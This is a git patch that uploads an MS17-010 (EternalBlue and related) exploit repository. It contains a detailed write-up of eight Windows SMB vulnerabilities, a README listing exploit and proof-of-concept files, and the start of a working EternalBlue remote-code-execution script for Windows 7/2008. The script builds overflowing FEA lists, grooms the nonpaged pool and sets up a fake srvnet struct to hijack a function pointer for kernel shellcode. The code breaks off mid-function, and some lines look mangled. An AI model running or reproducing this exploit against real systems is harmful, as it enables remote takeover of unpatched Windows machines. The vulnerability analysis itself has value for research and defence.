From 71d5f52707629c5097825c90ae28a9a6c67ac88c Mon Sep 17 00:00:00 2001 From: worawit Date: Tue, 20 Jun 2017 00:08:35 +0700 Subject: [PATCH] Initial upload --- BUG.txt | 432 ++++++++++++++++ README.md | 19 +- eternalblue_exploit7.py | 583 ++++++++++++++++++++++ eternalblue_exploit8.py | 563 +++++++++++++++++++++ eternalblue_poc.py | 45 ++ eternalchampion_leak.py | 57 +++ eternalchampion_poc.py | 85 ++++ eternalchampion_poc2.py | 161 ++++++ eternalromance_leak.py | 60 +++ eternalromance_poc.py | 40 ++ eternalromance_poc2.py | 144 ++++++ eternalsynergy_leak.py | 60 +++ infoleak_uninit.py | 46 ++ mysmb.py | 366 ++++++++++++++ npp_control.py | 55 ++ shellcode/eternalblue_kshellcode_x64.asm | 608 +++++++++++++++++++++++ shellcode/eternalblue_kshellcode_x86.asm | 568 +++++++++++++++++++++ shellcode/eternalblue_sc_merge.py | 55 ++ zzz_exploit.py | 456 +++++++++++++++++ 19 files changed, 4401 insertions(+), 2 deletions(-) create mode 100644 BUG.txt create mode 100644 eternalblue_exploit7.py create mode 100644 eternalblue_exploit8.py create mode 100644 eternalblue_poc.py create mode 100644 eternalchampion_leak.py create mode 100644 eternalchampion_poc.py create mode 100644 eternalchampion_poc2.py create mode 100644 eternalromance_leak.py create mode 100644 eternalromance_poc.py create mode 100644 eternalromance_poc2.py create mode 100644 eternalsynergy_leak.py create mode 100644 infoleak_uninit.py create mode 100644 mysmb.py create mode 100644 npp_control.py create mode 100644 shellcode/eternalblue_kshellcode_x64.asm create mode 100644 shellcode/eternalblue_kshellcode_x86.asm create mode 100644 shellcode/eternalblue_sc_merge.py create mode 100644 zzz_exploit.py diff --git a/BUG.txt b/BUG.txt new file mode 100644 index 0000000..a151645 --- /dev/null +++ b/BUG.txt @@ -0,0 +1,432 @@ +=============== +SMB Transaction +=============== +To understand the bugs, we need to understand SMB transaction because most bugs in MS17-010 are related to transation. +I try to make it short. + +SMB message structure is well documented in https://msdn.microsoft.com/en-us/library/ee441702.aspx. We might need it +for reference. + +As documented in https://msdn.microsoft.com/en-us/library/ee441466.aspx, there are 6 SMB commands for transaction subprotocol. +If a transaction message is larger than SMB message (determined by MaxBufferSize in session parameter), a client +MUST use one or more SMB_COM_*TRANSACT*_SECONDARY command (with same TID, UID, PID and MID in SMB header) to send +transaction message that did not fit in the initial message. + +Each SMB transaction command has subcommand codes. There are 3 group of transaction subcommand as documented in +https://msdn.microsoft.com/en-us/library/ee441514.aspx (because SMB_COM_*TRANSACT*_SECONDARY comamnds are needed to +send a large transaction message). + +Now, we go through some implementaion detail on Windows SMB transaction. +- A TRANSACTION struct and transaction data buffer are always allocated in 1 buffer. In memory, a TRANSACTION struct + is always followed by data buffer as shown below. + +-----------------+--------------------------------------------+ + | TRANSACTION | transaction data buffer | + +-----------------+--------------------------------------------+ + +- A transaction buffer is paged pool buffer. +- There is lookaside for transaction buffer which size is 0x5000. + - if size <=0x5000, use lookaside + - all buffer size will be 0x5000 (even required buffer size is only 0x100) + - if size >0x5000, directly allocate from paged pool + - if transaction command is SMB_COM_TRANSACTION and SetupCount is 0, directly allocate from paged pool + +- TRANSACTION important struct member + - InSetup : The pointer to received setup in transaction data buffer. + - OutSetup : The pointer to reply setup (is set when all transaction data is received and NOT in transaction data buffer). + - InParameter : The pointer to received parameter in transaction data buffer. + - OutParameter : The pointer to reply parameter in transaction data buffer. + - InData : The pointer to received data in transaction data buffer. + - OutData : The pointer to reply data in transaction data buffer. + - SetupCount : The number of setup words that are included in the transaction request. + This one determines InSetup buffer size. + - MaxSetupCount : Maximum number of setup bytes that the client will accept in the transaction reply. + This one determines OutSetup buffer size. + - ParameterCount : The current number of received parameter bytes or the number of parameter to be sent in reply. + - TotalParameterCount : The total number of parameter bytes to be sent in this transaction request. + This one determines InParameter buffer size. + - MaxParameterCount : The maximum number of parameter bytes that the client will accept in the transaction reply. + This one determines OutParameter buffer size. + - DataCount : The current number of received data bytes or the number of data to be sent in reply. + - TotalDataCount : The total number of data bytes to be sent in this transaction request. + This one determines InData buffer size. + - MaxDataCount : The maximum number of data bytes that the client will accept in the transaction reply. + This one determines OutData buffer size. + - Function : The NT transaction subcommand code. + - Tid : The transaction Tid. + - Pid : The transaction Pid. + - Uid : The transaction Uid. + - Mid/Fid : The transaction Mid. + - AllDataReceived : The boolean which set to 1 when (ParameterCount == TotalParamterCount && DataCount == TotalDataCount). + +- There are 3 memory layout for InParameter, OutParameter, InData, OutData buffer in transaction data buffer. + - memory layout for SMB_COM_TRANSACTION except TRANS_MAILSLOT_WRITE and "TRANS with zero SetupCount" is shown below. + In* and Out* buffers are overlapped. + +---------------+-----------------------------------------------------+ + | TRANSACTION | transaction data buffer | + +---------------+-----------------------------------------------------+ + | InSetup | InParamter | InData | | + +-----------------------------------------------------+ + | OutParameter | OutData | + +-----------------------------------------------------+ + - memory layout for SMB_COM_TRANSACTION2 and exception case from above SMB_COM_TRANSACTION is shown below. + All buffers are not overlapped. + +---------------+------------------------------------------------------------------------------+ + | TRANSACTION | transaction data buffer | + +---------------+------------------------------------------------------------------------------+ + | InSetup | InParamter | InData | OutParameter | OutData | + +------------------------------------------------------------------------------+ + - memory layout for SMB_COM_NT_TRANS is shown below. All buffers are not overlapped. InParameter and OutParameter are + overlapped. InData and OutData are overlapped. + +---------------+-----------------------------------------------------------+ + | TRANSACTION | transaction data buffer | + +---------------+-----------------------------------------------------------+ + | InSetup | InParamter | InData | | + +---------+----------------------+--------------------------+ + | | OutParameter | | OutData | + +-----------------------------------------------------------+ + +- Transaction is executed when (ParameterCount == TotalParamterCount && DataCount == TotalDataCount). +- While executing transaction, InParameter and InData pointer might be modified. +- After transaction is executed, ParameterCount and DataCount (is normally set in called transaction function) are used + for determining the reply size of OutParameter and OutData respectively. + +- A transaction displacement in SMB_COM_*_SECONDARY request can be pointed to sent displacement data + - assume TotalParameterCount is 0 and TotalDataCount is 16 + - first transaction request has 8 bytes of data + - secondary transaction request can have 8 bytes of data with displacement 0 + - 8 bytes of data in first transaction request is overwritten + - next 8 bytes of data never be written +- For multipiece transaction (transaction that used secondary to complete transaction), a server uses + last SMB_COM_*_SECONDARY command to determine transaction type. + - if last command is SMB_COM_TRANSACTION_SECONDARY, a server executes subcommand as TRANS_*. + - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. + - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. +- A transaction is also used in SMB_COM_WRITE_ANDX command (https://msdn.microsoft.com/en-us/library/ee441954.aspx) + when WriteMode is RAW_MODE. This transaction use FID in parameters instead of MID in SMB header for + matching transaction. + +That should be enough for SMB transaction. It's time to start bug details. +Below is bugs I found from MS17-010 diff. + + +=========== +Bug1: Uninitialize transaction InData and OutData buffer +=========== +A transaction data buffer is not initialized. If we send multipiece transaction request with displacement 0, +a server will use uninitialized parameter and data for input. An uninitialized input here is normally useless +because a server processes input parameter and data as untrusted data. + +If we found a transaction subcommand that use part of input as output, we could use this bug for +leaking uninitialized data. + +A transaction subcommand that perfect for exploiting this bug is NT_TRANSACT_RENAME. The NT_TRANSACT_RENAME +is documented as "Not implemented". But there is a code in SrvSmbNtRename() function. + +Here is psuedocode for SrvSmbNtRename() + +SrvSmbNtRename() +{ + // ParameterCount must be >= 4 + // first 2 bytes of InParameter is fid + // verify fid + // if verification failed, return error without data + // if verification success, return success without modifying OutParameter, ParameterCount, OutData, DataCount +} + +But, as mentioned above, transaction InData and OutData are overlapped. Without modifying any +transaction *Parameter* and *Data*, a server returns InData (like echo). + +An only REQUIREMENT for using NT_TRANSACT_RENAME command is valid fid. So we need to get fid by opening +any piped name or share first. + +This bug is not helpful for exploitation because leaked info is from freed buffer. It is difficult to get +exact information because a transaction size is always >=0x5000. + +Here is some useful of this bug: +- detect arch (32 or 64 bit) from leak pointer +- might contain important data + +The PoC filename for this bug is infoleak_uninit.py + +Note: +- this bug is not used in NSA leak tools. +- because the fix only set zero to InParameter and InData buffer, it is still possible to do information disclosure + from OutParameter and OutData. May17 security patches fix information disclosure from OutParameter and OutData in + various function (no zero the whole OutParameter and OutData buffer). +- May17 security patches modify SrvSmbNtRename() to return an error. + + +=============== +Bug2: Transaction reply data size might be larger than allocated buffer size +=============== +SrvCompleteExecuteTransaction() function is used for sending transaction reply to a client. But it has no check if +ParameterCount/DataCount is larger than MaxParameterCount/MaxDataCount. SrvCompleteExecuteTransaction() might +copy reply data from outside of buffer (OOB read) to client. This can lead to information disclosure. + +To exploit the bug, we send a SMB_COM_TRANSACTION commannd with MaxParameterCount to very large value and MaxDataCount to 1. +If a transaction reply data size (DataCount) is more than MaxDataCount, SrvCompleteExecuteTransaction() will send +OutData and data next to OutData buffer to a client. The transaction buffer should look like below. + +---------------+-----------------------------------------------------+ + | TRANSACTION | transaction data buffer | + +---------------+-----------------------------------------------------+ + | InSetup | InParamter | InData | | + +-----------------------------------------------------+------------+ + | OutParameter |OutData| OOB read | + +-----------------------------------------------------+------------+ + +The NSA eternalromance use TRANS_PEEK_NMPIPE subcommand (https://msdn.microsoft.com/en-us/library/ee441845.aspx) to +exploit this bug. The PoC filename is eternalromance_leak.py. + +The bug is fixed in Windows 8 (since release) and later. MS17-010 add the same code as Windows 8 to fix this bug on Windows<8. + +NSA eternalromance relies on this bug to leak TRANSACTION struct. So NSA eternalromance cannot exploit Windows 8 and later. + + + +=============== +Bug3: Transaction ParameterCount/DataCount might be greater than TotalParameterCount/TotalDataCount +=============== +When sending SMB_COM_*_SECONDARY command, a server checks a displacement value and a size of data to not write outside of +allocated buffer. But there is no check if total received ParameterCount/DataCount is greater than +TotalParameterCount/TotalDataCount. + +For example: +- a transaction with TotalDataCount=0x20 +- first request, send 0x18 bytes of data (DataCount=0x18) +- next request, send 0x10 bytes of data (DataCount=0x28) + +Normally, this bug is not useful for exploitation. But it can be used with Bug4 (below). + + + +=============== +Bug4: Transaction secondary request is accepted and processed after transaction execution is started +=============== +If we send a transaction secondary request to a transaction that AllDataReceived member has already been set, a server will +send back an error without processing the request. + +For multipiece transaction, AllDataReceived is set (in SrvSmbTransactionSecondary()/SrvSmbNtTransactionSecondary()) before +executing transaction. But AllDataReceived is NOT set (in SrvSmbTransaction()/SrvSmbNtTransaction()) when transaction is +completed in 1 SMB message. This allow us to send a transaction secondary request to modify InParamter/InData buffer and +ParameterCount/DataCount while server is executing a transaction or sending a reply. + + +First case to exploit this bug is sending a transaction secondary request while a server is sending a reply. The result is +a server replies data outside of OutData buffer (similar to Bug2). But this method seems to be race condition that diffcult to win. +NSA eternalchampion and eternalsynergy use very nice trick to always win this race condition. + +When doing SMB login, we send SMB_COM_SESSION_SETUP_ANDX (https://msdn.microsoft.com/en-us/library/ee442101.aspx) request to +a server. The request contains MaxBufferSize field (https://msdn.microsoft.com/en-us/library/ee441849.aspx) which is +the maximum size, in bytes, of the largest SMB message that the client can receive. + +If a transaction reply size is larger than MaxBufferSize, a server will send multiple transaction replies to a client. To resume +sending next transaction reply, a server add work queue to call RestartTransactionResponse() function. Moreover, +RestartTransactionResponse() has no check about MaxParameterCount and MaxDataCount. + +With above information, the NSA exploit sends SMB_COM_SESSION_SETUP_ANDX (login) with specific MaxBufferSize. Then, the exploit +creates one complete NT_TRANS_RENAME request which response size is larger than MaxBufferSize and one NT_TRANS_RENAME +secondary request, with a number of data is a number of byte to leak. Finally, the exploit sends these 2 requests in 1 TCP packet. + +After a server sends first part of transaction reply, a server queue a call to RestartTransactionResponse() after NT_TRANS_RENAME +secondary request. The transaction DataCount is increased when processing the NT_TRANS_RENAME secondary request (this works +because of Bug3). Then, the server sends second part of transaction reply with data outside of OutData buffer. + +We can see PoC for leaking information with this bug in eternalchampion_leak.py and eternalsynergy_leak.py. I do not know why +both exploits use different parameters. + + +Another case to exploit this bug is sending a transaction secondary request while a server is executing a transaction. This case +is very difficult to find a exploit path and requires to win a race (champion). The NSA eternalchampion uses +TRANS2_QUERY_PATH_INFORMATION subcommand (https://msdn.microsoft.com/en-us/library/ee441634.aspx) with +SMB_INFO_IS_NAME_VALID query information level (https://msdn.microsoft.com/en-us/library/ff470079.aspx). + +In SrvSmbQueryPathInformation() function with SMB_INFO_IS_NAME_VALID information level, the transaction InData pointer is +modified to point to UNICODE_STRING struct allocated on stack. After modified InData pointer, if a server processes a transaction +secondary request before executing transaction is finished, the stack data (saved eip/rip) will be overwritten with certain offset +by data and dataDisplacement in transaction secondary. Because offset in stack is always fixed, NSA eternalchampion has no +chance to crash a target. + +The PoC filename for this bug is eternalchampion_poc.py + +Note: I found the same fix for this bug in SrvSmbWriteAndX() too + + +=============== +Bug5: Transaction secondary can be used with any transaction type +=============== +Normally SMB_COM_TRANSACTION command must be followed by SMB_COM_TRANSACTION_SECONDARY command, SMB_COM_TRANSACTION2 command must be +followed by SMB_COM_TRANSACTION2_SECONDARY command and SMB_COM_NT_TRANS command must be followed by SMB_COM_NT_TRANS_SECONDARY +command if transaction data in first SMB message is not complete. But a server has no check. So we can send any transaction +secondary command (which matches TID, UID, PID and MID) to complete a transaction. + +Do not forget that a server uses last SMB_COM_*_SECONDARY command to determine transaction type. So we can turn any transaction type +to be SMB_COM_TRANSACTION or SMB_COM_TRANSACTION2. We cannot turn non SMB_COM_NT_TRANS to SMB_COM_NT_TRANS because SMB_COM_NT_TRANS +uses Function to determine transaction subcommand. + +This bug is used in NSA eternalblue exploit for sending large transaction data (>=0x10000 bytes) for TRANS2_OPEN2. Because only +SMB_COM_NT_TRANS request use 4 bytes for TotalDataCount field (other use 2 bytes), the exploit have to start a transaction with +SMB_COM_NT_TRANS command then following the SMB_COM_TRANSACTION2_SECONDARY command. +You can see an example usage in eternalblue_poc.py. + +As I mentioned in introduction section, a transaction is also used in SMB_COM_WRITE_ANDX command when WriteMode is RAW_MODE. +This is very interesting case because SrvSmbWriteAndX() writes data to transacation with below code. + + memmove(transaction->Indata, request->data, request->dataLength); + transaction->InData += request->dataLength; // shift InData pointer + transaction->DataCount += request->dataLength; + +Notice that SrvSmbWriteAndX() shifts InData pointer when writing data, while transaction secondary uses dataDisplacement to set +where to write a data in InData buffer (without moving InData). + +Assume we start a transaction with TotalDataSize=0x2000 with MID value same as FID of open named pipe. The memory layout look +like below (I omit OutParameter and OutData because they are not related). + + +---------------+-----------------------------------------------------+ + | TRANSACTION | transaction data buffer | + +---------------+-----------------------------------------------------+ + | InSetup | InParamter | InData | + +-----------------------------------------------------+ + +Then, we send a SMB_COM_WRITE_ANDX command with WriteMode=RAW_MODE and 0x100 bytes of data. + + +---------------+-----------------------------------------------------+ + | TRANSACTION | transaction data buffer | + +---------------+-----------------------------------------------------+ + | InSetup | InParamter | | InData | + +-----------------------------------------------------+ + +Then, writing outside transaction data buffer is possible if we send a transaction secondary command with dataDisplacement=0x1f??. + +This OOB write is very good for exploitation however SMB_COM_WRITE_ANDX command with RAW_MODE write requires a valid named pipe fid. +Since Windows Vista, the default Windows configuration without additional service does not allow an anonymous logon (NULL session) +to access any named pipe. + +You can see PoC in eternalromance_poc.py + +Note: NSA eternalromance and eternalsynergy use this bug for OOB write. Eternalromance uses Bug2 for leaking transaction struct +(which is limited to Windows<8) but eternalsynergy uses Bug4 for leaking transaction struct and some trick to find +a NonPagedPoolExecute page (I do not check how exploit exactly work) in Windows 8 and Windows 2012. + + +=============== +Bug6: Wrong type assigment in SrvOs2FeaListSizeToNt() +=============== +The FEA (Full Extended Attribute), https://msdn.microsoft.com/en-us/library/ee915515.aspx, is used in SMB_COM_TRANSACTION2 subcommands. +Normally we need to send FEA_LIST (https://msdn.microsoft.com/en-us/library/ff359296.aspx) in SMB_COM_TRANSACTION2 subcommands request. +When processing SMB_COM_TRANSACTION2 subcommands request wth FEA_LIST, Windows need to convert FEA_LIST to a list of +FILE_FULL_EA_INFORMATION (https://msdn.microsoft.com/en-us/library/cc232069.aspx). + +There is a bug while converting FEA_LIST to FILE_FULL_EA_INFORMATION if FEA_LIST.SizeOfListInBytes is >=0x10000. The SrvOs2FeaListToNt() +is used for converting which has following psuedocode. + +SrvOs2FeaListToNt() +{ + outputLen = SrvOs2FeaListSizeToNt(feaList); + output = SrvAllocateNonPagedPool(outputLen); + // start copy all FEA data to output in a list of FILE_FULL_EA_INFORMATION format +} + +SrvOs2FeaListSizeToNt(feaList) +{ + outputLen = 0; + foreach (fea in feaList) { + if (IsFeaDataOutOfBound(fea, feaList)) { + // shrink feaList.SizeOfListInBytes to only valid fea so copy step does not need to check again. + // feaList.SizeOfListInBytes is DWORD but it is cast to WORD so HIDWORD is not modified. + (WORD) feaList.SizeOfListInBytes = Pos(fea) - Pos(feaList); + return outputLen; + } + outputLen += GetNtLengthForFea(fea); + } + return outputLen; +} + +From pseudocode above, if we send feaList.SizeOfListInBytes=0x10000 while valid FEA entries in list is less than +0x10000 bytes (assume 0x4000), the feaList.SizeOfListInBytes will be 0x14000 because HIDWORD is not modified and +outputLen is only for FEA entries size 0x4000. Then the output buffer will be overflown while copy FEA data to +output buffer. + +As mentioned above, we need to send a transaction data that larger than 0x10000 bytes. But the FEA_LIST data is used +only in SMB_COM_TRANSACTION2 which TotalDataCount is USHORT (max is 0xffff). So we need to Bug5 to send a FEA_LIST +data that larger than 0x10000. + +The exploit path that required minimum condition is TRANS2_OPEN2 subcommand. The SrvSmbOpen2() calls SrvOs2FeaListToNt() +for converting FEA_LIST before any permission checking. So a client just need to access any share (IPC$ is best choice) +and able to send SMB_COM_NT_TRANS and SMB_COM_TRANSACTION2_SECONDARY commands. + +Above exploitation requirements are good for Windows<8 because Windows<8 always allow anonymous (NULL session) to +access IPC$ and send transaction commands. However, Windows>=8 does not allow anonymous to access IPC$ by default +(IPC$ might be acessible but cannot send a transaction command). + +You can see PoC in eternalblue_poc.py + + + +=============== +Bug7: Wrong type assigment in SrvOs2GeaListSizeToNt() +=============== +The bug is same as Bug6 in different function but all exploit path requires valid fid. + + + +=============== +Bug8: SESSION_SETUP_AND_X request format confusion +=============== +This bug is not fixed in MS17-010. I put it here because NSA leak tools use it for exploitation. The bug itself +can only fool a server to allocate a large nonpaged pool (<0x20000) for storing small client information. + +There are 2 format of SMB_COM_SESSION_SETUP_ANDX request for "NT LM 0.12" dialect. The first format is documented +in https://msdn.microsoft.com/en-us/library/ee441849.aspx. It is used for LM and NTLM authentication. Another format +is documented in https://msdn.microsoft.com/en-us/library/cc246328.aspx. It is used for NTLMv2 (NTLM SSP) authentication. +We noted that these 2 foramts have different WordCount (first one is 13 and later is 12). + +The SMB_COM_SESSION_SETUP_ANDX request is handled by BlockingSessionSetupAndX() function. Below is psuedocode for hanlding +both request format (only related part). + +BlockingSessionSetupAndX() +{ + // ... + + // check word count + if (! (request->WordCount == 13 || (request->WordCount == 12 && (request->Capablilities & CAP_EXTENDED_SECURITY))) ) { + // error and return + } + + // ... + + if ((request->Capablilities & CAP_EXTENDED_SECURITY) && (smbHeader->Flags2 & FLAGS2_EXTENDED_SECURITY)) { + // this request is Extend Security request + GetExtendSecurityParameters(); // extract parameters and data to variables + SrvValidateSecurityBuffer(); // do authentication + } + else { + // this request is NT Security request + GetNtSecurityParameters(); // extract parameters and data to variables + SrvValidateUser(); // do authentication + } + + // ... +} + +From psuedocode above, if we send SMB_COM_SESSION_SETUP_ANDX request as Extended Security (WordCount 12) with +CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY, the request will be processed as NT Security request (WordCount 13). +We can also send the request as NT Security request (WordCount 13) with CAP_EXTENDED_SECURITY and FLAGS2_EXTENDED_SECURITY. +But later case is no use because there is an extra check of ByteCount value in GetExtendSecurityParameters() function. + +Normally a server validates WordCount and ByteCount field in SrvValidateSmb() function before passing a request to +request handler. The WordCount*2 and ByteCount must not be larger than received data size. With the confusing bug, a server +read ByteCount from wrong offset while extracting parameters and data to variables. + +The bug does not cause any memory corruption or information disclosure because ByteCount value is only used for calculating +buffer size for storing NativeOS and NativeLanMan unicode string (UTF16). The NativeOS and NativeLanMan size is caculated from +"ByteCount - other_data_size". The buffer for NativeOS and NativeLanMan unicode string is allocated on nonpaged pool. + +NSA eternalchampion uses this bug to set UNICODE_STRING.MaximumLength to 0x15ff and place staging shellcode in buffer because +nonpaged pool is executable on Windows<8. +Note: On x86, 'ff15????????' is 'call [????????]' instruction. On x64, 'ff1500000000' is 'call [rip+0]'. + +NSA eternalblue uses this bug to creating hole because we can control when to allocate and free the buffer. + +The PoC filename for this bug is npp_control.py and the example usages of this bug is eternalblue_exploit.py and eternalchampion_poc2.py + +Note: This mothod cannot use for user authentication if NTLM authentication is disabled diff --git a/README.md b/README.md index 1e1a46f..1f7ca66 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,17 @@ -# MS17-010 -MS17-010 +# Files + + * **BUG.txt** MS17-010 bug detail and some analysis + * **eternalblue_exploit7.py** Eternalblue exploit for windows 7/2008 + * **eternalblue_exploit8.py** Eternalblue exploit for windows 8/2012 x64 + * **eternalblue_poc** Eternalblue PoC for buffer overflow bug + * **eternalchampion_leak.py** Eternalchampion PoC for leaking info part + * **eternalchampion_poc.py** Eternalchampion PoC for controlling RIP + * **eternalchampion_poc2.py** Eternalchampion PoC for getting code execution + * **eternalromance_leak.py** Eternalromance PoC for leaking info part + * **eternalromance_poc.py** Eternalromance PoC for OOB write + * **eternalromance_poc2.py** Eternalromance PoC for controlling transaction which leads to arbitrary read/write + * **eternalsynergy_leak.py** Eternalsynergy PoC for leaking info part + * **infoleak_uninit.py** PoC for leaking info from uninitialized transaction data buffer + * **mysmb.py** Extended Impacket SMB class for easier to exploit MS17-010 bugs + * **npp_control.py** PoC for controlling nonpaged pool allocation with session setup command + * **zzz_exploit.py** Exploit for Windows7 and later (x64 only and requires accessing to named pipe) diff --git a/eternalblue_exploit7.py b/eternalblue_exploit7.py new file mode 100644 index 0000000..5f1a834 --- /dev/null +++ b/eternalblue_exploit7.py @@ -0,0 +1,583 @@ +#!/usr/bin/python +from impacket import smb +from struct import pack +import sys +import socket + +''' +EternalBlue exploit for Windows 7/2008 by sleepya +The exploit might FAIL and CRASH a target system (depended on what is overwritten) + +Tested on: +- Windows 7 SP1 x64 +- Windows 2008 R2 SP1 x64 +- Windows 7 SP1 x86 +- Windows 2008 SP1 x86 + +Reference: +- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ + + +Bug detail: +- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ +- For other bugs defailt, see BUG.txt +- Here is related struct info. +##### +typedef struct _FEA { /* fea */ + BYTE fEA; /* flags */ + BYTE cbName; /* name length not including NULL */ + USHORT cbValue; /* value length */ +} FEA, *PFEA; + +typedef struct _FEALIST { /* feal */ + DWORD cbList; /* total bytes of structure including full list */ + FEA list[1]; /* variable length FEA structures */ +} FEALIST, *PFEALIST; + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +- The exploit also use other 2 bugs + - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug) + - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole) +###### + + +Exploit info: +- I do not reverse engineer any x86 binary so I do not know about exact offset. +- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. + This memory page is executable on Windows 7 and Wndows 2008. +- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. +- The exploit trick is same as NSA exploit +- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. +- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) +- See the code and comment for exploit detail. + + +srvnet buffer info: +- srvnet buffer contains a pointer to another struct and MDL about received buffer + - Controlling MDL values results in arbitrary write + - Controlling pointer to fake struct results in code execution because there is pointer to function +- A srvnet buffer is created after target receiving first 4 bytes + - First 4 bytes contains length of SMB message + - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough. +- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message +- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() +- SrvNetCommonReceiveHandler() passes SMB message to SMB handler + - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode + - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called + - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. + - Memory leak is ok to be ignored + + +Shellcode note: +- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL +- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL) + - On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082) + - IA32_LSTAR MSR scope is core/thread/unique depended on CPU model + - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to + get call because it is called on other processors + - Shellcode should be aware of double overwriting system call target address when using hijacking system call method +- Then, using APC in Process context to get code execution in userland (ring 3) +''' + +# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) +# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time +# the size 0x11000 is used in nsa exploit. this size is more reliable. +NTFEA_SIZE = 0x11000 +# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page + +ntfea10000 = pack('=0x10000 to trigger bug (but must be less than data size) +feaList += ntfea[NTFEA_SIZE] +# Note: +# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively +# - x64: below fea will be copy to offset 0x11000 of overflow buffer +# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer +feaList += pack(' SrvNetCommonReceiveHandler() -> call fn_ptr +fake_recv_struct = pack('= 0xffff: + flags2 &= ~smb.SMB.FLAGS2_UNICODE + reqSize = size // 2 + else: + flags2 |= smb.SMB.FLAGS2_UNICODE + reqSize = size + conn.set_flags(flags2=flags2) + + pkt = smb.NewSMBPacket() + + sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() + + sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size + sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value + sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero + sessionSetup['Parameters']['SessionKey'] = 0 + sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session + # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session + sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags + + sessionSetup['Data'] = pack(' 0: + pad2Len = (4 - fixedOffset % 4) % 4 + transCommand['Data']['Pad2'] = '\xFF' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + + transCommand['Parameters']['DataCount'] = len(data) + transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len + transCommand['Parameters']['DataDisplacement'] = displacement + + transCommand['Data']['Trans_Parameters'] = '' + transCommand['Data']['Trans_Data'] = data + pkt.addCommand(transCommand) + + conn.sendSMB(pkt) + + +def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): + # Here is another bug in MS17-010. + # To call transaction subcommand, normally a client need to use correct SMB commands as documented in + # https://msdn.microsoft.com/en-us/library/ee441514.aspx + # If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client + # can use *_SECONDARY command to send transaction message. When sending a transaction completely with + # *_SECONDARY command, a server uses the last command that complete the transaction. + # For example: + # - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. + # - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. + # + # Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same. + # For example: + # - a client start transaction with SMB_COM_NT_TRANSACT command + # - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY + # - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY + # - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field) + + # From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction + # with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT + # While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount + # field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx). + # Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction) + + pkt = smb.NewSMBPacket() + pkt['Tid'] = tid + + command = pack('65535 bytes to trigger the bug. + transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) + transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() + transCommand['Parameters']['MaxSetupCount'] = 1 + transCommand['Parameters']['MaxParameterCount'] = len(param) + transCommand['Parameters']['MaxDataCount'] = 0 + transCommand['Data'] = smb.SMBTransaction2_Data() + + transCommand['Parameters']['Setup'] = command + transCommand['Parameters']['TotalParameterCount'] = len(param) + transCommand['Parameters']['TotalDataCount'] = len(data) + + fixedOffset = 32+3+38 + len(command) + if len(param) > 0: + padLen = (4 - fixedOffset % 4 ) % 4 + padBytes = '\xFF' * padLen + transCommand['Data']['Pad1'] = padBytes + else: + transCommand['Data']['Pad1'] = '' + padLen = 0 + + 